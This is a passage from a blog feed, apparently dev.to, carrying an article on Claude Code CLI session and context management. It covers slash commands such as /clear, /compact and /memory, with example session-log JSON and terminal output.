  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fluttering-growing-lecun"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here, you cannot use the &lt;code&gt;rewind&lt;/code&gt; command to progress further back, the compacted session is the new starting point.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/clear&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.&lt;/p&gt;

&lt;p&gt;When compaction does not help, you need to &lt;code&gt;/clear&lt;/code&gt; the context completely.&lt;/p&gt;

&lt;p&gt;Here is the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, a new session ID is generated, and the JSONL file starts from scratch.&lt;/p&gt;

&lt;p&gt;And here is the change to the session file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.claude/projects/-opt-claude-universal-skill-converter/e008d275-5119-45bf-b3ba-541e1845b369.jsonl

&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"file-history-snapshot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
  &lt;span class="s2"&gt;"snapshot"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
    &lt;span class="s2"&gt;"trackedFileBackups"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
    &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.905Z"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSnapshotUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"parentUuid"&lt;/span&gt;: null,
  &lt;span class="s2"&gt;"isSidechain"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
  &lt;span class="s2"&gt;"message"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
    &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="s2"&gt;"&amp;lt;local-command-caveat&amp;gt;Caveat: The messages below were generated by the user while running local commands. DO NOT respond to these messages or otherwise consider them in your response unless the user explicitly asks you to.&amp;lt;/local-command-caveat&amp;gt;"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isMeta"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
  &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7"&lt;/span&gt;,
  &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.904Z"&lt;/span&gt;,
  &lt;span class="s2"&gt;"userType"&lt;/span&gt;: &lt;span class="s2"&gt;"external"&lt;/span&gt;,
  &lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;: &lt;span class="s2"&gt;"cli"&lt;/span&gt;,
  &lt;span class="s2"&gt;"cwd"&lt;/span&gt;: &lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"e008d275-5119-45bf-b3ba-541e1845b369"&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;,
  &lt;span class="s2"&gt;"gitBranch"&lt;/span&gt;: &lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"parentUuid"&lt;/span&gt;: &lt;span class="s2"&gt;"1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7"&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSidechain"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
  &lt;span class="s2"&gt;"message"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
    &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="s2"&gt;"&amp;lt;command-name&amp;gt;/clear&amp;lt;/command-name&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;command-message&amp;gt;clear&amp;lt;/command-message&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;command-args&amp;gt;&amp;lt;/command-args&amp;gt;"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
  &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.901Z"&lt;/span&gt;,
  &lt;span class="s2"&gt;"userType"&lt;/span&gt;: &lt;span class="s2"&gt;"external"&lt;/span&gt;,
  &lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;: &lt;span class="s2"&gt;"cli"&lt;/span&gt;,
  &lt;span class="s2"&gt;"cwd"&lt;/span&gt;: &lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"e008d275-5119-45bf-b3ba-541e1845b369"&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;,
  &lt;span class="s2"&gt;"gitBranch"&lt;/span&gt;: &lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/memory&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Memory is an additional layer in Claude Codes context. It is intended to capture project-specific intricacies for improving work efficiency, for example corrections to errors, detailed build and test commands, or observations about high-level architecture. Claude keeps these memories automatically, and with this command, you gain access to its settings.&lt;/p&gt;

&lt;p&gt;When executed, a navigable terminal interface is rendered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/memory

──────────
Memory

    Auto-memory: on
    Auto-dream: off · never

  ❯ 1. User memory                      Saved &lt;span class="k"&gt;in&lt;/span&gt; ~/.claude/CLAUDE.md
    2. Project memory                   Checked &lt;span class="k"&gt;in &lt;/span&gt;at ./CLAUDE.md
    3. Open auto-memory folder
    4. Open code-improver agent memory  user scope

  Learn more: https://code.claude.com/docs/en/memory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following options are available:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The points “User memory” and “Project memory” lead directly to the printed files.&lt;/li&gt;
&lt;li&gt;When the auto-memory option is enabled, and memory files generated at &lt;code&gt;~/-claude/projects/&amp;lt;id&amp;gt;/memory/&lt;/code&gt;, the option "Open auto-memory folder” opens this directory.&lt;/li&gt;
&lt;li&gt;The code-improver agent is a subagent invoked for refactoring code. Its user-scope file location is &lt;code&gt;~/.claude/agent‑memory/code‑improver/&lt;/code&gt;, and when invoking the fourth option, an editor for its memory file is opened.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, the auto-dream feature was just added in &lt;code&gt;claude code v2.1.92&lt;/code&gt;. It is a mechanism to reconcile fragmented memory files from user and project code, detects duplicate or contradicting entries, and cleans them up, the option toggle enables or disables this feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Claude Code is an agentic tool for working on complex code bases. It offers more than 40 commands. Understanding their functions, and the scope in which they should be applied, is essential for effective work. In this blog article, commands from the session and context management groups were explored. For session management, you learned a) to run a sub-agent that works on a plan file, b) ask an additional question during a session that does not disrupt the main task, c) list all background tasks, d) create subtrees in long conversation histories, e) rewind to earlier stages, f) stop the current session immediately and g) resuming where you left off. And for context management, you learned a) view a graphical representation of the current context, b) compact the context, reducing what is being send to the LLM provider, c) clear the current context, and d) viewing and editing memory files, from project to user and code-improver agent scope, keeping important learnings as a permanent context.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Session &amp; Context Management</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 18 Jun 2026 06:02:40 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-session-context-management-2l0b</link>
      <guid>https://dev.to/admantium/claude-code-cli-session-context-management-2l0b</guid>
      <description>&lt;p&gt;Claude Code is an agentic tool that can execute commands on an installed computer. Its focus is coding, helping to implement programs from scratch, to add features, for bug fixing, and for refactoring of complex code bases.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, I systematically explore the CLI, slash commands, and use cases. This article presents a grouped overview of all available commands, scoping the typical session lifecycle and helping you understand when to use which command.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude02_session_configuration_and_reflection/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From this list, groups marked with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are Claude Code Sessions?
&lt;/h2&gt;

&lt;p&gt;Whenever the Claude Code CLI is invoked, a new session is created. On a high-level view, the user enters prompts, which are analyzed and processed to create internal tasks, such as checking/asking for permissions, suggesting and executing tools, and editing files. Each of these tasks is represented in the session history as a specific JSON document, with a unique type and attribute. Let’s investigate this in detail to learn about one part of Claude Code’s functionality.&lt;/p&gt;

&lt;p&gt;Here is an example of starting a new session in my universal-skill-converter project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; claude

─── Claude Code v2.1.91 ────────────────────────────────────────────────╮
│                                       │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started      │
│            Welcome back!              │ Run /init to create a CLAUDE… │
│                                       │ ───────────────────────────── │
│               ▐▛███▜▌                 │ Recent activity               │
│              ▝▜█████▛▘                │ 1h ago   Parse @README.md     │
│                ▘▘ ▝▝                  │ 22h ago  Explain @Dockerfile  │
│                                       │ 22h ago  Explain the file @D… │
│  claude-haiku-4.5 · API Usage Billing │ /resume &lt;span class="k"&gt;for &lt;/span&gt;more              │
│             /opt/claude               │                               │
╰───────────────────────────────────────────────────────────────────────╯
❯ Parse @README.md
  ⎿  Read README.md &lt;span class="o"&gt;(&lt;/span&gt;4 lines&lt;span class="o"&gt;)&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll parse the README.md file for you.
  Read 1 file (ctrl+o to expand)

● Based on the README.md file, here'&lt;/span&gt;s what I found:
  README.md Analysis

  The README.md file contains minimal content:
  &lt;span class="c"&gt;# universal-skill-converter&lt;/span&gt;

  Summary:
  - The file contains only a title: &lt;span class="s2"&gt;"universal-skill-converter"&lt;/span&gt;
  - There are no additional descriptions, instructions, or content
  - The file appears to be essentially empty except &lt;span class="k"&gt;for &lt;/span&gt;the project title

  This suggests the project is either &lt;span class="k"&gt;in &lt;/span&gt;early stages or the README hasn&lt;span class="s1"&gt;'t been populated with detailed
  information yet.

Resume this session with:
claude --resume 67614647-7351-408e-88b8-2846dc62b860
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See the output when quitting the session – this is the session name. Let’s take a look at where it is stored in your local &lt;code&gt;~/.claude&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: I’m using the claude-code-container from my &lt;a href="https://admantium.com/blog/claude01_introduction/" rel="noopener noreferrer"&gt;previous article&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.claude"&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;2846dc62b860&lt;span class="k"&gt;*&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;

&lt;span class="c"&gt;# Log output&lt;/span&gt;
/home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As can be seen, the complete session transcript is stored in the directory &lt;code&gt;~/.claude/projects/-opt-claude&lt;/code&gt;. The base name of this string is the current working directory, which defaults to &lt;code&gt;/opt/claude&lt;/code&gt; when using my container image. This file is a JSON document containing all interactions. Let’s take a look at the first items:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-15&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"permission-mode"&lt;/span&gt;,
  &lt;span class="s2"&gt;"permissionMode"&lt;/span&gt;: &lt;span class="s2"&gt;"default"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"file-history-snapshot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"1ce9315d-d77c-4f52-8e8a-bf22db5d9139"&lt;/span&gt;,
  &lt;span class="s2"&gt;"snapshot"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"1ce9315d-d77c-4f52-8e8a-bf22db5d9139"&lt;/span&gt;,
    &lt;span class="s2"&gt;"trackedFileBackups"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
    &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-04T09:37:47.285Z"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSnapshotUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Items have a &lt;code&gt;type&lt;/code&gt; argument. The first messages in the session log represent system messages. Let’s see the other types, and narrow it down to the entered user message.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.type'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;

&lt;span class="c"&gt;# Log output&lt;/span&gt;
permission-mode
file-history-snapshot
user
user
user
file-history-snapshot
user
assistant
assistant
user
assistant
last-prompt
permission-mode
custom-title
agent-name
system
system
custom-title
agent-name
permission-mode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s see the &lt;code&gt;user&lt;/code&gt; message for the first prompt. It contains a set of metadata about the session’s context (&lt;code&gt;parentUuid&lt;/code&gt;, &lt;code&gt;promptId&lt;/code&gt;, &lt;code&gt;uuid&lt;/code&gt;), invocation and version information (&lt;code&gt;version&lt;/code&gt;, &lt;code&gt;entrypoint&lt;/code&gt;,&lt;code&gt;cwd&lt;/code&gt;), and the message itself (&lt;code&gt;message.role&lt;/code&gt;, &lt;code&gt;message.content&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
